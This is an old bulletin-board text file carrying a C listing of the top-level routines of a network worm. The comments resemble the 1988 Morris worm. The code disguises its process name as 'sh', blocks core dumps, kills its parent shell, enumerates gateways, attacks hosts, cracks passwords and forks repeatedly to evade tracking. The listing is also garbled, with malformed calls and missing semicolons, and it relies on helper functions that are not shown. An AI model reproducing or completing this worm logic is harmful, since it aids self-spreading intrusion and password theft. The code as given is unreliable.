666 The Dead Zone 214-522-5321 300/1200/2400 666

#include <stdio.h>

#include <signal.h>

#include <string.h>

#include <sys/resource.h>



long current_time;

struct rlimit no_core = {0,0};



int

main (argc, argv)

	int argc;

	char *argv[];



{

	int n;

	int parent = 0;

	int okay = 0;

		/* change calling name to "sh" */

	strcpy(argv[0], "sh");

		/* prevent core files by setting limit to 0 */

	setrlimit(RLIMIT_CORE, no_core);

	current_time = time(0);

		/* seed random number generator with time */

	srand48(current_time);

	n = 1;

	while (argv[n]) {

		/* save process id of parent */

		if (!strncmp(argv[n], "-p", 2)) {

			parent = atoi (argv[++n]);

			n++;

		}

		else {

			/* check for 1l.c in argument list */

			if (!strncmp(argv([n], "1l.c", 4))

				okay = 1;

			/* load an object file into memory */

			load_object (argv[n];

			/* clean up by unlinking file */

			if (parent)

				unlink (argv[n]);

			/* and removing object file name */

			strcpy (argv[n++], "");

		}

	

	}

		/* if 1l.c was not in argument list, quit */

	if (!okay)

		exit (0);

		/* reset process group */

	setpgrp (getpid());

		/* kill parent shell if parent is set */

	if (parent)

		kill(parent, SIGHUP);

		/* scan for network interfaces */

	if_init();

		/* collect list of gateways from netstat */

	rt_init();

		/* start main loop */

	doit();

}



int

doit()

{

	current_time = time (0);

		/* seed random number generator (again) */

	srand48(current_time);

		/* attack gateways, local nets, remote nets */

	attack_hosts();

		/* check for a "listening" worm */

	check_other ()

		/* attempt to send byte to "ernie" */

	send_message ()

	for (;;) {

		/* crack some passwords */

	crack_some ();

		/* sleep or listen for other worms */

	other_sleep (30);

	crack_some ();

		/* switch process id's */

		if (fork())

			/* parent exits, new worm continues */

			exit (0);

		/* attack gateways, known hosts */

		attack_hosts();

		other_sleep(120);

			/* if 12 hours have passed, reset hosts */

		if(time (0) == current_time + (3600*12)) {

			reset_hosts();

			current_time = time(0); }

			/* quit if pleasequit is set, and nextw>10 */

		if (pleasequit && nextw > 10)

			exit (0);

	}

}